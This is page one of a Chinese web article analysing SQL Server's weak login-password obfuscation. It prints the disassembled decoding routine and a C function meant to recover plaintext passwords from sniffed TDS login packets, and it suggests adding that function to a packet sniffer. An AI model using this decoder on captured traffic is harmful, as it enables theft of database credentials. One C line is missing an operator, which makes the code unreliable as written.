收藏本站 网站地图
网页特效 实用工具 意见建议
您现在的位置: 电脑志|PCzhi.com >> 编程开发 >> 数据库开发 >> 文章正文  
SQL SERVER数据库口令的脆弱性
来源:网络  作者:佚名  时间:2007-9-9 20:54:33  【字体: 】 [IE收藏] [QQ书签收藏]

跟踪了一下SQL SERVER数据库服务器的登录过程,发现口令计算是非常脆弱的,SQL SERVER数据库的口令脆弱体现两方面:

  1、网络登陆时候的口令加密算法

  2、数据库存储的口令加密算法。

  下面就分别讲述:

  1、网络登陆时候的口令加密算法

  SQL SERVER网络加密的口令一直都非常脆弱,网上有很多写出来的对照表,但是都没有具体的算法处理,实际上跟踪一下SQL SERVER的登陆过程,就很容易获取其解密的算法:好吧,我们还是演示一下汇编流程:   

  登录类型的TDS包跳转到4126a4处执行:

  004DE72E:根据接收到的大小字段生成对应大小的缓冲区进行下一步的拷贝

  004DE748从接收到的TDS BUF偏移8处拷贝出LOGIN的信息

  004DE762:call sub_54E4D0:将新拷贝的缓冲压入进行参数检查的处理

  依次处理TDS包中的信息,各个字段气候都应该有各个域的长度,偏移0X24处与长度进行比较。

  下面这段汇编代码就是实现对网络加密密码解密的算法:

  .text:0065C880 mov cl, [edi]

  .text:0065C882 mov dl, cl

  .text:0065C884 xor cl, 5

  .text:0065C887 xor dl, 0AFh

  .text:0065C88A shr dl, 4

  .text:0065C88D shl cl, 4

  .text:0065C890 or dl, cl

  .text:0065C892 mov [edi], dl

  .text:0065C894 inc edi

  .text:0065C895 dec eax

  .text:0065C896 jnz short loc_65C880

  .text:0065C898 jmp loc_4DE7E6

  

  很容易就将其换成为C代码,可以看出其加密及其简单,和明文没什么区别,呵呵,大家可以在SNIFFER中嵌入这段代码对嗅叹到的TDS登陆包进行解密,其实0XA5不是特定的SQL SERVER密码字段的分界符号,只是由于加密算法会自动把ASC的双字节表示的0x0加密成0xa5而已,但是如果允许双字节口令,这个就不是判断其分界的主要原因了。

    void sqlpasswd(char * enp,char* dnp)

  {

   int i;

   unsigned char a1;

   unsigned char a2;

   for(i=0;i<128;i++)

   {

   if(enp[i]==0)

   break;

   a1 = enp[i]^5;

   a1 = a1 << 4;

   a2 = enp[i]^0xaf;

   a2 = a2 >> 4;

   dnp[i]=a1 a2;

   }

   dnp[i]=0;

   dnp[i+1]=0;

   wprintf(L"passwd:%s\n",(const wchar_t *)dnp);

  }

[1] [2] 下一页

  • 上一篇文章: 没有了
  • 下一篇文章:
  • 特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系网站管理员,我们尽快予以更正。
    最新推荐
  • 此栏目下没有推荐文章
  • 最新热门
    展望微软下一代数据库系统
    如何调整SQL语句性能
    SQL Server数据库的一些攻击
    SQL Server 2000的安全配置
    快速搭建ERP的数据库框架
    精妙SQL语句
    新版SQL Server将嵌入下一代视窗
    IIS、ASP.NET和SQLServer的安全性问题
    Visual C#的SQL Server编程
    :::::: 关于我们版权申明联系我们广告服务友情链接网站地图最近更新最新推荐 ::::::
    © CopyRight 2007, PCzhi.com, Inc. All Rights Reserved
    鄂ICP备07502343号